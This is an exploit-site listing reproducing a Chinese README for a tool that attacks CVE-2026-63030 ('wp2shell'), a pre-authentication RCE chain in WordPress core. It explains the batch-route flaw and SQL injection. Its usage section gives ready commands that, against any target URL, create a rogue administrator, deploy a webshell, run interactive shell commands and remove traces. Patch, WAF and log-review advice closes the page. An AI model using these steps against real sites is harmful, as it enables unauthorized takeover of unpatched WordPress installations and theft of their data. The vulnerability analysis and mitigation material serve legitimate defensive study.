Sploitus

Exploit for CVE-2026-63030-Wp2Shell

kitploit · 2026-09-03

Exploit Code

MARKDOWN165 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-GHOSTINEXILE-CVE-2026-63030-WP2SHELL
# CVE-2026-63030 (wp2shell)——WordPress 核心预认证远程代码执行(RCE)

### REST API 批量路由混淆与 CVE-2026-60137 SQL 注入的链式利用

![CVE-2026-63030](https://img.shields.io/badge/CVE--2026--63030-Critical-red) ![CVE-2026-60137](https://img.shields.io/badge/CVE--2026--60137-High-orange) ![aka wp2shell](https://img.shields.io/badge/aka-wp2shell-blueviolet) ![Status](https://img.shields.io/badge/Status-Patched-brightgreen)

> **TL;DR** —— 未经身份验证的攻击者可以将 WordPress REST API 批量路由缺陷与 `WP_Query` 中的 SQL 注入链接起来,在默认的 WordPress 安装上实现完整的远程代码执行——无需插件、无需账户、无需用户交互。由 Adam Kues(Assetnote / Searchlight Cyber)发现,并将其命名为 **wp2shell** 。已于 2026 年 7 月 17 日在 **6.9.5** 、**7.0.2** 和 **6.8.6** 中修复。

## 概述

**CVE-2026-63030** 是 WordPress 核心的 REST API 批量端点(`/wp-json/batch/v1`)对失败的子请求处理不当,以致后续子请求在错误的路由下被分发。单独来看,这是一个逻辑缺陷。与 **CVE-2026-60137** (`WP_Query` 中 `author__not_in` 参数的 SQL 注入)链接后,就变成了未经身份验证的远程代码执行。

WordPress 将 CVE-2026-63030 评定为 **严重(Critical)** ,将 CVE-2026-60137 评定为 **高危(High)** ;第三方 CVSS 评分因跟踪机构而异(分别约为 7.5 和 9.1),因为这两个单一评分都无法完全反映该 _漏洞链_ 的实际危害。无论你看到的是哪个单一数字,都请将其视为严重——WordPress 认为其严重程度足以对所有受影响站点强制自动更新。

## 工作原理

**根本原因——批量记账失步。** 当批量中的子请求未通过验证时,产生的 `WP_Error` 会被记录到内部 `$validation[]` 数组中——但用于路由的并行 `$matches[]` 数组并未同步更新。这一项的错位使后续每个子请求都偏移一个位置:子请求 _N_ 最终被分发给本应属于子请求 _N+1_ 的路由处理器。

**输入净化绕过。** 在从未被路由到的处理器下运行时,子请求会跳过该处理器自身的输入验证——包括类型检查和 `is_array()` 检查。

**SQL 注入。** 这一错位使攻击者控制的输入以原始字符串而非数组的形式到达 `WP_Query` 的 `author__not_in` 参数。本应拒绝它的 `is_array()` 防护永远不会执行,因此该值被直接插值到 `NOT IN (...)` 子句中。

**入侵路径。** 该注入仅支持 SELECT——不支持堆叠查询——但在数据库用户拥有 `FILE` 权限的主机上,这足以将 PHP webshell 写入 Web 根目录。在无法利用该权限的情况下,同一注入点可以改为通过盲注/UNION 注入转储 `wp_users` 表以获取管理员密码哈希。无论哪种方式:无需账户、无需插件、无需用户交互。

root@kitploit:~
    
    
    sequenceDiagram
        participant A as Attacker
        participant B as Batch Handler
        participant Q as WP_Query
        participant D as MySQL
     
        A->>B: POST /wp-json/batch/v1 (crafted multi-request batch)
        Note over B: Failed sub-request recorded in one internal array but not the other — indexes drift by one
        B->>B: Sub-request N dispatched with sub-request N+1's route handler
        Note over B: Wrong handler context — that route's input validation never runs
        B->>Q: author__not_in passed as raw string, not array
        Note over Q: is_array() guard skipped
        Q->>D: SELECT ... WHERE post_author NOT IN (attacker string)
        alt DB user has FILE privilege
            D-->>A: Writes PHP webshell to web root → RCE
        else No FILE privilege
            D-->>A: Blind/UNION injection dumps admin password hashes
        end

## 使用方法

  1. 克隆仓库



root@kitploit:~
    
    
    git clone htttps://github.com/GhostInExile/CVE-2026-63030-Wp2Shell 
    cd CVE-2026-63030-Wp2Shell
    pip install -r requirements.txt
    

  2. 测试漏洞 - 在不进行利用的情况下检查目标是否存在漏洞:



root@kitploit:~
    
    
    python3 CVE-2026-63030.py -t https://target.com --test
    

  3. 创建管理员账户 - 通过 SQL 注入创建新的 WordPress 管理员:



root@kitploit:~
    
    
    # Auto-generate credentials
    python3 CVE-2026-63030.py -t https://target.com --create-admin
    
    # Custom credentials
    python3 CVE-2026-63030.py -t https://target.com --create-admin -u myadmin -p mypassword
    

  4. 执行 Shell 命令 - 部署 webshell 并执行命令:



root@kitploit:~
    
    
    # Auto-create admin, deploy shell, execute single command
    python3 CVE-2026-63030.py -t https://target.com --shell -c "whoami"
    
    # Interactive shell mode
    python3 CVE-2026-63030.py -t https://target.com --shell -i
    
    # Use existing credentials
    python3 CVE-2026-63030.py -t https://target.com --shell -U admin -P password -c "id"
    

  5. 清理:删除已创建的资源(管理员用户和 webshell):



root@kitploit:~
    
    
    # Cleanup after shell session
    python3 CVE-2026-63030.py -t https://target.com --shell -c "whoami" --cleanup
    
    # Cleanup only (requires shell URL from previous session)
    python3 CVE-2026-63030.py -t https://target.com --cleanup \
      -U created_admin -P password \
      --shell-url "https://target.com/wp-content/plugins/maint-xxx/maint-xxx.php"
    

  6. 其他选项



root@kitploit:~
    
    
    # Use proxy
    python3 CVE-2026-63030.py -t https://target.com --test --proxy http://127.0.0.1:8080
    
    # Custom timeout
    python3 CVE-2026-63030.py -t https://target.com --test --timeout 60
    

## 受影响版本

  * RCE 链需要 **两个** 漏洞同时存在,而它们仅在 6.9.x 和 7.0.x 上重叠——这就是为什么 6.8 发布了补丁,但从未被认定存在完整漏洞链的原因。
  * 根据 Cloudflare 的分析,RCE 路径还要求站点 **未** 使用持久化对象缓存——这是常见的默认配置,但在评估实际暴露面而非仅查看补丁状态时值得检查。
  * GitHub 安全公告:`GHSA-ff9f-jf42-662q`(路由混淆)· `GHSA-fpp7-x2x2-2mjf`(SQL 注入)



## 发现与时间线

  * **路由混淆 / RCE 链** (`CVE-2026-63030`)——由 Assetnote / Searchlight Cyber 的 Adam Kues 通过 WordPress 的 HackerOne 项目报告。
  * **SQL 注入** (`CVE-2026-60137`)——由 TF1T、dtro 和 haongo 以团队形式单独报告。
  * **2026 年 7 月 17 日** ——WordPress 发布了紧急版本 6.9.5 和 7.0.2,将修复回溯到 6.8.6,并将这两项修复都包含在 7.1 Beta 2 中。Cloudflare 在公开披露之前,于同一天为这两个 CVE 部署了托管 WAF 规则。
  * **自披露以来** ——技术分析文章和至少一个公开的概念验证(据其自身文档称仅用于检测)已在流传。截至披露后数日,尚未有已确认的在野利用报告——请查阅最新威胁情报,而不要将其视为定论。



## 缓解措施

  1. **立即打补丁** 至 `6.9.5`、`7.0.2`、`6.8.6` 或更高版本——这是唯一完整的修复方案。WordPress 已对受影响站点启用强制自动更新;请确认你的站点确实已应用,而不是想当然。
  2. **暂时无法打补丁?** 在 WAF/边缘层阻止对批量端点的未经身份验证的访问:同时阻止 `/wp-json/batch/v1` 和 `?rest_route=/batch/v1`。仅为应急措施——这可能会破坏合法的批量 API 使用(例如基于块的编辑),并且不能替代打补丁。
  3. **启用托管 WAF 规则** (如果你的服务商已提供)。Cloudflare 在披露当天即面向免费和付费套餐部署了针对这两个 CVE 的规则。
  4. **打补丁后** ,检查访问日志中披露窗口期(2026 年 7 月 17 日及之后)内包含畸形或异常子请求路径的批量请求。



## 参考资料

  * WordPress 7.0.2 发布公告 — https://wordpress.org/news/2026/07/wordpress-7-0-2-release/
  * GHSA-ff9f-jf42-662q(CVE-2026-63030)— https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ff9f-jf42-662q
  * GHSA-fpp7-x2x2-2mjf(CVE-2026-60137)— https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-fpp7-x2x2-2mjf
  * Searchlight Cyber wp2shell 公告 — https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/
  * Cloudflare WAF 覆盖 — https://blog.cloudflare.com/wordpress-vulnerabilities/